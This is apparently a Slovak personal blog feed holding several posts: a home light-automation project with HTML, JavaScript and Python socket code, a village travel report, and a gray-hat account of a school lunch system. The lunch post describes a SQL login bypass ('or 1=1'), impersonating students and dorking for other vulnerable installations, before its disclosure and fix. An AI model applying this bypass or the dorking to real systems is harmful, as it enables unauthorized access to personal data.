Zdrojový kód webovej stránky je čisté html a trocha javascriptu. Znova som však pri javascripte len upravil už existujúce skripty (google-fu for the win). Verte alebo nie, bola to z celého projektu pre mňa najťažšia časť, nakoľko javascript ovládam len na minimálnej úrovni a s html som nepracoval snáď od základnej školy. V hlavičke stránky sa cez metódu loadJSON() načíta JSON zo súboru ./data.json a vypíše údaje v tabuľke, ktorá sa však už nachádza v tele stránky. V tele stránky je taktiež definovaná ďalšia metóda pomenovaná fun(), ktorá po kliknutí na tlačítko odošle request na stránku 185.8.236.187/sarah/light avšak nepresmeruje užívateľa (nakoľko daná cesta nič nenavracia = prázdna stránka)

<html>
<head>
    <meta content="text/html; charset=UTF-8" http-equiv="content-type">
    <script type="application/javascript">
    function loadJSON() {
        var data_file = "data.json";
        var http_request = new XMLHttpRequest();
        try {
            // Opera 8.0+, Firefox, Chrome, Safari
            http_request = new XMLHttpRequest();
        } catch (e) {
            // Internet Explorer Browsers
            try {
                http_request = new ActiveXObject("Msxml2.XMLHTTP");
            } catch (e) {
                try {
                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {
                    // Something went wrong
                    alert("Your browser broke!");
                    return false;
                }
            }
        }
        http_request.onreadystatechange = function() {
            if (http_request.readyState == 4) {
                // Javascript function JSON.parse to parse JSON data
                var jsonObj = JSON.parse(http_request.responseText);

                // jsonObj variable now contains the data structure and can
                // be accessed as jsonObj.name and jsonObj.country.
                document.getElementById("Name").innerHTML = jsonObj.name;
                if (jsonObj.active == true) {
                    document.getElementById("Status").innerHTML = "Aktívne";
                    document.getElementById("Details").innerHTML = "Zariadenie je aktívne";
                } else if (jsonObj.active == false) {
                    document.getElementById("Status").innerHTML = "Offline";
                    document.getElementById("Details").innerHTML = jsonObj.error_message;
                }
            }
        }
        http_request.open("GET", data_file, true);
        http_request.send();
    };
    loadJSON()
    </script>
    <title>S.A.R.A.H</title>
</head>

<body>
    <h1 align="center">S.A.R.A.H projekt</h1>
    <h2 align="center">Self Actuated Residential Automated Habitat</h2>
    <h3 align="center">Zatial len zapina/vypina svetlo :)</h3>
    <table class="src" border="1px solid" align="center">
        <tr>
            <th>Name</th>
            <th>Status</th>
            <th>Podrobnosti</th>
        </tr>
        <tr>
            <td>
                <div id="Name">Loading...</div>
            </td>
            <td>
                <div id="Status">Loading...</div>
            </td>
            <td>
                <div id="Details">Loading...</div>
            </td>
        </tr>
    </table>
    <br>
    <script>
    function fun() {
        loadJSON();
        if (window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else {
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        var url = "http://185.8.236.187:8080/sarah/light";
        xmlhttp.open("POST", url, false);
        xmlhttp.send(null);
        var respo = xmlhttp.responseText;
        document.getElementById("some_id").innerHTML = xmlhttp.responseText;
    }
    </script>
    <div class="central" align="center">
        <button type="button" onclick="fun()">Turn light ON/OFF</button>
</body>

</html>

Stav zariadenia

Ako ste si mohli všimnuť, súčasťou projektu je aj tabuľka, ktorá informuje o tom, či je zariadenie aktívne a pokiaľ nie je, tak informuje kde nastala chyba. Koncept je znova veľmi jednoduchý. Na strane RasPi mám script, ktorý vám je už pravdepodobne dôverne známy.

#!/usr/bin/python
# -*- coding: utf8 -*-

import socket,time

TCP_IP = '10.113.13.6'
TCP_PORT = 5005 #treba zvoliť iný port ako sme mali v predchádzajúcom skripte. Na to si treba dať pozor
BUFFER_SIZE = 1024
time.sleep(10)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)

conn, addr = s.accept()

while 1:
    data = conn.recv(BUFFER_SIZE)
    if not data:
        time.sleep(1)
        pass
    else:
        conn.send("PONG")
conn.close()

Serverovú časť tvorí zase dosť podobný skript, ktorý však výstup zapisuje do súboru „data.json“. Taktiež som tu musel ošetriť niektoré výnimky, ktoré mohli nastať. Príkladom výnimky je neuspešné pripojenie na server. Normálne by program padol, takto však o tom len informuje a pokračuje dalej v skúšaní pripojenia.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import socket, time, datetime, json

TCP_IP = '10.113.13.6'
TCP_PORT = 5005
BUFFER_SIZE = 1024
MESSAGE = "PING" #ako ste si mohli všimnúť v predchádzajúsom skripte. RasPi očakáva správu PING

def wrote_json_error(active, error, error_message): #táto funkcia ma za úlohu vytvoriť súbor data.json a zapísať do neho informácie v JSON tvare
	json_data = {} #vytvoríme prázdny slovník (dictionary)
	json_data["time"] = str(datetime.datetime.utcnow()) #pridáme do slovníka aktuálny čas, ktorý sme prekonvertovali na string
	json_data["active"] = active
	json_data["name"] = str(socket.gethostname()) #zatial vytiahneme len hostname servera a pre istotu ho prekonvertujeme na string (neskôr možno vytiahneme aj hostname RasPi)
	json_data["error"] = error
	json_data["error_message"] = error_message
	with open('/var/www/sarah/data.json', 'w') as outfile: #tu prebieha samotný zápis do súboru
			json.dump(json_data, outfile)

'''
V nasledujúcom cykle je už spomínaná výnimka.
To, čo je v "try:" bloku program skúsi vykonať. Pokiaľ vykonanie prebehlo v poriadku, príkaz "break" ukončí cyklus a pokračuje sa ďalej v programe.
'''

while True:
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		break
	except Exception as err:
		active = False #zaznam informujúci o tom, že zariadenie nie je aktívne (boolean záznam)
		error = True #nakolko je to chybové hlásenie, musíme informovať budúci script, ktorý bude JSON spracovať (v našom prípade javascriptový kód v súbore: index.html) že má vytiahnuť aj samotné chybové hlásenie. Preto ho znova upozorníme že nastala chyba (v skutočnosti by stačila aj položka active, ale na to som pri návrhu app nepomyslel)
		error_message = str(err) #samotné chybové hlásenie prekonvertujeme na string a pridáme do slovníka
		wrote_json_error(active, error, error_message) #zavolá sa funkcia, ktorú naplníme potrebnými dátami
		time.sleep(1) #počká jednu sekundu, a znova sa pokúsi o pripojenie

while True:
	try: #v podstate to isté čo vyšie. Až na to, že spojenie už bolo nadviazané a ošetrujeme samotné odoslanie správy. Môže sa totiž stať, že server dokáže nadviazať spojenie a až neskôr sa spojenie preruší (odborne sa tomu povie že vyhnije :D)
		s.send(MESSAGE)
		data = s.recv(BUFFER_SIZE)
		if not data: #pokiaľ RasPi neodpovie na PING request, patrične o tom informuje
			wrote_json_error(active = False, error = True, error_message = "PONG response was not recieved") #iný zápis toho, ako vieme naplniť funkciu hodnotami
		else: #ak všetko prebehlo tak, ako malo zapíše sa to do JSON súboru
			wrote_json_error(active = True, error = False, error_message = None) #aj keď žiadna chyba nenastala, je dobré zachovať integritu json súboru a naplniť premennú error_message hodnotou None
	except Exception as err: #ak nastane chyba, zapíše to do JSONu a opätovne sa pokúsi vytvoriť spojenie
		wrote_json_error(active = False, error = True, error_message = str(err))
		while True:
			try:
				s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
				s.connect((TCP_IP, TCP_PORT))
				break
			except socket.error:
				wrote_json_error(active = False, error = True, error_message = str(err))
				time.sleep(1) 

 

Bezpečnostné riziko

V mojom prípade to nedostatok nie je, avšak radšej vás na to upozorním.

Ako ste si mohli všimnúť, v komunikácii medzi VPS a RasPi nijako neriešim autorizáciu a šifrovanie prenášaných dát. V mojom prípade to nedostatkom nie je, nakoľko komunikácia medzi zariadeniami prebieha cez VPN sieť, ktorá zaručuje autorizáciu každého uživateľa/zariadenia a taktiež sa stará o šifrovaný prenos. Avšak v prípade, že komunikáciu riešite v rámci domácej lokálnej siete a nebodaj ešte aj s otvorenou wifi sieťou (bez hesla alebo s WEP čo je to isté). Útočník, ktorý má znalosti zdrojových kódov alebo odpočúval a analyzoval komunikáciu v sieti vie veľmi jednoducho ukradnúť spojenie a odosielať príkazy podľa svojho uváženia. Teraz sa jedná síce len o svetlo, avšak nech vás ani nenapadne tento môj PoC (proof-of-concept) používať na akýkoľvek kritický systém. V takom prípade sa zahrávate s ohňom a časom sa môžte popáliť.

 

Produkčné nasadenie

Server

  • Nainštalujeme Apache webserver príkazom
    apt-get install apache2
  • Premiestnime súbori server_switch.py, server_ping.py a index.html do priečinku /var/www
  • Pomocou textového editora nano pridáme do súboru /etc/rc.local nasledujúce riadky:

python /var/www/server_switch.py &

python /var/www/server_ping.py &

Príkazy v rc.local sa spustia až potom, akonáhle sú pripravené všetky ostatné časti OS.

  • vytvoríme v priečinku /var/www súbor .htaccess a vložíme do neho nasledujúci kód:

AuthName "S.A.R.A.H project - Restricted area! (do not expect a warning shot)"
AuthType Basic
AuthUserFile /var/www/.htpasswd
require valid-user

  • vytvoríme heslo príkazom:
htpasswd -c /usr/local/apache/passwd/passwords moj_nick

Klient

  1. Premiestnime súbori raspi_controller.py a raspi_pong.py do ľubovolného adresára
  2. Pridáme ich rovnako ako v serverovej časti do súboru /etc/rc.local

 

A to je všetko. Celkom jednoduché že? 🙂

Pokiaľ sa vám článok páčil, budem rád za zdieľanie. Taktiež ak by ste mali akékoľvek problémy s implementáciou, stačí napísať do komentárov, poprípade ma môžte kontaktovať na sociálnych sieťach alebo cez e-mail. Nikto nie je dokonalý a teda ak by ste našli v kóde akúkoľvek chybu, určite mi napíśte aj ja ju opravím.

The post Projekt S.A.R.A.H – Ovládanie svetla v domácnosti na diaľku appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/07/19/projekt-s-a-r-a-h-ovladanie-svetla-v-domacnosti-na-dialku/feed/ 0 24
Výlety po Slovensku – Palárikovo https://spodlesny.eu/index.php/2015/07/09/vylety-po-slovensku-palarikovo/ https://spodlesny.eu/index.php/2015/07/09/vylety-po-slovensku-palarikovo/#respond Thu, 09 Jul 2015 08:45:06 +0000 http://spodlesny.eu/?p=45 Ako keby to už bolo v Slovenskej natúre. Každé leto vydať sa do zahraničia a navštíviť rôzne kultúrne a prírodné pamiatky  v zahraničí. Málo kto si však uvedomuje, aké nádherné je aj naše Slovensko. Predsa len zahraničný turisti nenavštevujú Slovensko pre nič za nič. Naposledy som zavítal do obce Palárikovo a musím povedať že ma […]

The post Výlety po Slovensku – Palárikovo appeared first on Šimon Podlesný.

]]>
Ako keby to už bolo v Slovenskej natúre. Každé leto vydať sa do zahraničia a navštíviť rôzne kultúrne a prírodné pamiatky  v zahraničí. Málo kto si však uvedomuje, aké nádherné je aj naše Slovensko. Predsa len zahraničný turisti nenavštevujú Slovensko pre nič za nič. Naposledy som zavítal do obce Palárikovo a musím povedať že ma naozaj prekvapila množstvom turisticky zaujímavých miest o ktorých som ani netušil.

Ako prvé miesto, ktoré som v obci navštívil bol obecný park. Už z diaľky bolo vidieť sochu, ktorá víta všetkých návštevníkov parku.

 

Palárikovo - ocha

Park je strednej veľkosti. Ja som ho navštívil zrovna v čase najväčších horúčav ale aj napriek jemne vyschnutej tráve je skvele udržiavaný a plný historických poznatkov o obci.

Palárikovo- park

Park taktiež dotvárajú dva pamätníky a niekoľko kamenných dlaždíc, ktoré informujú o historických udalostiach obce. Toto sa mi páčilo na Palárikove najviac. Vedel som sa dozvedieť o histórii obce bez toho, aby som musel prečítať čo i len jedinú informačnú tabuľu.

Palárikovo - Historické udalosti obce

Palárikovo - pamätník 1. svetovej vojny

Palárikovo - pamätník 2. svetovej vojny

Súčasťou parku je taktiež malé jazero, na ktorom zvyknú domáci chytať ryby. Pivo v jednej ruke, udica v druhej. Čo viac si treba priať k oddychu po náročnom týždni 🙂

Palárikovo - rybník

Snáď len malé osvieženie v podobe prameňa uprostred parku? Voda bola chladná a mala jemne železitú príchuť avšak jej presné zloženie som nikde v okolí nenašiel. Pre mňa osobne bolo plusom, že voda nebola perlivá čím sa odlišuje od väčšiny prameňov, s ktorých som mal do teraz možnosť ochutnať vodu (a bolo ich už vskutku dosť). Taktiež musím vyzdvihnúť dizajn napájadla, ktoré vyzerá úžasne. Však posúďte sami.

Palárikovo - prameň

Ako vravím, park majú spravený naozaj pekne. Pravdaže by to nebolo možné bez podpory Európskej únie, ale nejakú hnusnú plastovú tabuľu v parku nehľadajte. Palárikovčania ju skvele zakomponovali do architektúry parku mramorovou tabuľou, ktorá nenarúša vzhľad parku.

Palárikovo - ROP

Prehliadka parku je maximálne tak na pol hodinu a úprimne, aj keď je to naozaj pekný park, len málo kto si kvôli nemu naplánuje cestu do Palárikova.

Hlavnou dominantou obce však nie je obecný park, ale kaštieľ postavený v roku 1730, ktorého súčasťou je aj 52 hektárový (520 km²) anglický park.

Ak ste auto odparkovali pri obecnom parku, viete prejsť pešo smerom ku kostolu svätého Jána Nepomuckého a pri kostole na ľavo vstúpiť do priestorov Kaštieľa. Cestou ku kostolu sa určite zastavte pri nedávno obnovenom kríži (2013), ktorý bol obnovený pri príležitosti 1150. výročia príchodu svätého Cyrila a Metóda na naše územie, 900. ročnom výročí prvej písomnej zmienky o území obce a 765. výročí prvej písomnej zmienky o samotnej obci.

Palárikovo - kríž

Taktiež je v blízkosti zasadená Moruša Trnavská (u nás v okolí je taktiež známa aj pod názvom Drevená Jahoda) a teda ak budete mať naplánovaný výlet približne okolo Júna – Júla určite ochutnajte jej plody. Treba si však dať pozor pri ich trhaní aby ste ich zbytočne nepopučili. Šťava z Moruše totiž dosť farbí a ťažko schádza z rúk. Strom spoznáte podľa toho, že pod ním bude zafarbená podlaha na modro od plodov, ktoré stihli už opadať na zem (ten úplne na pravo)

Palárikovo - kríž (okolie)

Ak ste prišli až sem, ku kostolu už určite trafíte. Nachádza sa totiž len o pár metrov ďalej. Ku kostolu som bližšie informácie nezisťoval. Viem len že je zasvätený sv. Jánovi Nepomuckému patrónovi vôd a mlynárov.

Palárikovo - Kostol sv. Jána Nepomuckého

Na ľavo hneď pred vchodom do kostola je vstup do parku. Park nesklamal. Síce by sa tu stále našlo pár detailov, ktoré by sa dali vylepšiť ale ten prvotný pohľad stojí naozaj za to.

Palárikovo - prark vedľa kaštieľa

Park je skutočne rozsiahly a jeho úplne prezretie vám chvíľu zaberie. Mapa areálu sa nachádza pri hlavnom vchode, z ktorého je taktiež krásny výhľad na kaštieľ.

Palárikov - kaštieľ

Ja som mal na prezretie celého 52 hektárového parku ani nie hodinu takže veľa miest som nenavštívil. Však posúďte sami. Stihli by ste prezrieť takýto veľký park v priebehu jednej hodiny?

Palárikovo - mapa

Prvá pamiatka, ktorú som navštívil bola Vodáreň. Jedná sa naozaj o impozantnú stavbu, ktorá je otvorená aj verejnosti. Len si treba lepšie načasovať cestu a hlavne vedieť do kedy je otvorená (prišiel som hodinu po zatvorení)

Palárikovo - vodáreň (otváracie hodiny)

Palárikovo - vodáreň

Palárikovo - vodáreň (pohľad z blízka)

Potom nasledoval samotný kaštieľ. Zaujímavosťou je, že kaštieľ je miestom, kde sa zrodila myšlienka C.I.C Medzinárodnej organizácie, ktorá asistuje vládam a organizáciám chrániacim prírodu v otázkach prírodných zdrojov a prírody ako takej. V dnešnej dobe organizáciu dotvára 26 členských krajín a viac ako 86 expertov z celého sveta (na Slovensku sa trofeje bodujú práve podľa svetovo uznávaných noriem C.I.C). Kaštieľ je bežne pre verejnosť zatvorený čo je škoda. Počul som však, že 17. augusta by mal byť otvorený. Pre istotu si to však overte na stránke kaštieľa. Taktiež nie je na škodu zistiť aj presný čas.

Palárikovo - Kaštieľ

Ďalej som navštívil oboru. Vstup do obory je riešený cez kovové zelené dvere, na ktorých je pružina aby zver neunikla cez pootvorené dvere, ktoré zabudol nejaký návštevník zavrieť. Musím povedať že je to zmena o 180 stupňov. Pekne upravený park vystrieda neupravovaný pasienok a pravidelne strihané a upravované stromy nahradil hustý les. Súčasťou obory je taktiež veľké množstvo náučných tabúľ, ktoré vám postupne poodhalia tajomstvá obory a zvierat v nej žijúcich.

Palárkovo - obora

Palárikovo - obora

Palárikovo - obora

Cestou k autu som znova prechádzal cez park. Tento krát vedľa FIT arény a detského ihriska. Aj FIT aréna aj detské ihrisko je vytvorené prevažne z dreveného masívu čím nádherne zapadá do prostredia.

Palárikovo - FIT aréna

Palárikovo - FIT aréna

Palárikovo - Detské ihrisko

Cestou z obce som sa ešte zastavil pri ďalšom malom parku so sochou sv. Vendelína avšak tam už veľmi nebolo čo prezerať. Skrátka bežný park.

Palárikovo - socha sv. Vendelína

Cestou domov som sa zastavil ešte v zolovocí pred mestom Nové Zámky v ktorom predávajú pravé, na Slovensku vypestované ovocie a zeleninu a produkty ako Slovenské biochipsy (ktoré sa predávajú hlavne v USA a na Slovensku je ich problém kúpiť), lekváre, sušené ovocie a iné pochutiny. Skrátka všetko, čo sa na Slovensku z ovocia a zeleniny vyrába. Zaujali ma hlavne postavičky (skorej obrovia) pri ceste, ktoré lákajú do obchodu. Musím povedať že skutočne zabrali 🙂

Palárikovo - Zelovoc

Na záver: Návštevu obce Palárikovo môžem určite odporučiť. Je to skvelý výlet pre všetkých milovníkov prírody a poľovníctva avšak na svoje si prídu aj rodiny z deťmi.

 

P.S. Fotky v článku som vyhotovil ja osobne, a preto podobne ako článok, aj fotky v ňom obsiahnuté dávam k dispozícii pod lienciou CC NC na ďalšie použitie.

The post Výlety po Slovensku – Palárikovo appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/07/09/vylety-po-slovensku-palarikovo/feed/ 0 45
Zápisky hackera – Neskoro na prihlásenie obedu? https://spodlesny.eu/index.php/2015/07/01/zapisky-hackera-neskoro-na-prihlasenie-obedu/ https://spodlesny.eu/index.php/2015/07/01/zapisky-hackera-neskoro-na-prihlasenie-obedu/#respond Wed, 01 Jul 2015 13:51:26 +0000 http://185.8.236.187/blog/?p=7 Gray-hat hacking prináša veľa zaujímavých systémov ku ktorým má útočník prístup. V tomto seriály poukážem na niekoľko najexotickejších systémov s najabsurdnejšími chybami aké som videl. Poďme teda začať nie veľmi ďaleko a to na mojej (teraz už bývalej) strednej škole a systéme, ktorý využíva na prihlasovanie obedov. Zápisky hackera – Časť 1  phpBox – správa […]

The post Zápisky hackera – Neskoro na prihlásenie obedu? appeared first on Šimon Podlesný.

]]>
Gray-hat hacking prináša veľa zaujímavých systémov ku ktorým má útočník prístup. V tomto seriály poukážem na niekoľko najexotickejších systémov s najabsurdnejšími chybami aké som videl. Poďme teda začať nie veľmi ďaleko a to na mojej (teraz už bývalej) strednej škole a systéme, ktorý využíva na prihlasovanie obedov.

Zápisky hackera – Časť 1

 phpBox – správa obedov

Naša škola využíva na správu obedov systém phpBox, vyvíjaný spoločnosťou APIS. Je to jednoduchý, dobre použiteľný systém v ktorom sa ľahko orientuje a má nesporné množstvo výhod. Žiak si môže prihlásiť obed online, a v prípade že sa mu zmenia plány tak môže vložiť obed do burzy. Potom stačí že sa nájde žiak, ktorý si obed zabudol prihlásiť (a stáva sa to pravidelne), a vyberie obed z burzy. Žiakovi, ktorý na obed nemal čas sa vráti kredit a žiak, ktorý si zabudol prihlásiť obed nie je hladný. Klasická WIN-WIN situácia.

Problém nastáva keď sa programátori pozabudnú a neošetria takú vec ako login bypass. Potom stačí už len dobre mierený dotaz na databázu a situácia vyzerá nasledovne:

V čom je ale problém? Povedzme že príde na stránku žiak, ktorý je hladný, zabudol si prihlásiť obed a burza je prázdna. Vie, že stránka je zraniteľná na login bypass. Prihlási sa teda ako správca systému a následne sa prihlási bez znalosti hesla za ľubovolného používateľa. Pozrie si, čo má používateľ za obed a ak sa mu páči tak ho vloží do burzy a cez svoj účet ho zase príjme. Už to nie je WIN-WIN situácia. Taktiež je tu potom drobný problém, s osobnými údajmi ako meno, priezvisko, čas kedy je daný užívateľ zvyčajne na obede (dobré pre zlodejov) a ďalšie informácie. Taktiež ak sa mu nepáči ponuka jedál, vedel by ju zameniť za vlastnú (zaujímavé by bolo pozorovať ako by na to reagovalo vedenie jedálne, keby si žiaci objednali úplne niečo iné ako v skutočnosti bolo v pláne). Jednoducho útočník by si mohol robiť čo sám uzná z vhodné.

 

Poďme ale teda k tomu, čo bolo treba spraviť. V podstate nič zložité. Ako login sa zadalo ID existujúceho užívateľa + „or 1=1“. Nie som si úplne istý ako je konštruovaný SQL dotaz v zdrojovom kóde, nakoľko pri danom tipe bypassu by malo stačiť zadať aj neexistujúceho užívateľa a logický operátor OR sa postará o to, aby takýto dotaz prešiel avšak tu to neplatilo. Bol to však len drobný problém. Stačilo si sadnúť na obed ku stolu blízko objednávaciemu panelu a zrazu máte desiatky funkčný IDčiek žiakov. Potom už stačilo testovať jednotlivé login bapassy a nájsť ten vyhovujúci. Pekný článok o fungovaní login bypassov bol uverejnený na portáli Security Portal preto všetkých záujemcov o problematiku odkážem na tento článok skorej, ako by som mal písať to isté, čo niekto už napísal a myslím si že dostatočne kvalitne.

 

Aby toho nebolo málo, vieme si pozrieť na koľkých ďalších školách sa nachádza a využíva ten istý pravdepodobne zraniteľný systém. Stačí skopírovať názov produktu a text, ktorý sa určite nachádza na všetkých úvodných stránkach (aby sme zabránili zobrazeniu referencii na produkt). Potom tieto dva dotazy vložíte do úvodzoviek a do Google search baru. Výsledok je viac než uspokojivý

google-fu

Tak ako každý dobrý príbeh, aj tento má šťastný koniec. Krátko po tom, ako som napísal spoločnosti APIS o objavenej zraniteľnosti bola chyba odstránená a jej zneužitie už nie je naďalej možné. Čo sa mne osobne páčilo na spoločnosti najviac, bola krátka doba do vydania záplaty a prijemná komunikácia zo strany spoločnosti. Skrátka ukážkový príklad ako má gray-hat hacking vyzerať.

The post Zápisky hackera – Neskoro na prihlásenie obedu? appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/07/01/zapisky-hackera-neskoro-na-prihlasenie-obedu/feed/ 0 7
Hello world! https://spodlesny.eu/index.php/2015/06/19/hello-world/ https://spodlesny.eu/index.php/2015/06/19/hello-world/#comments Fri, 19 Jun 2015 04:44:20 +0000 http://185.8.236.187/blog/?p=1 Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

The post Hello world! appeared first on Šimon Podlesný.

]]>
Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

The post Hello world! appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/06/19/hello-world/feed/ 1 1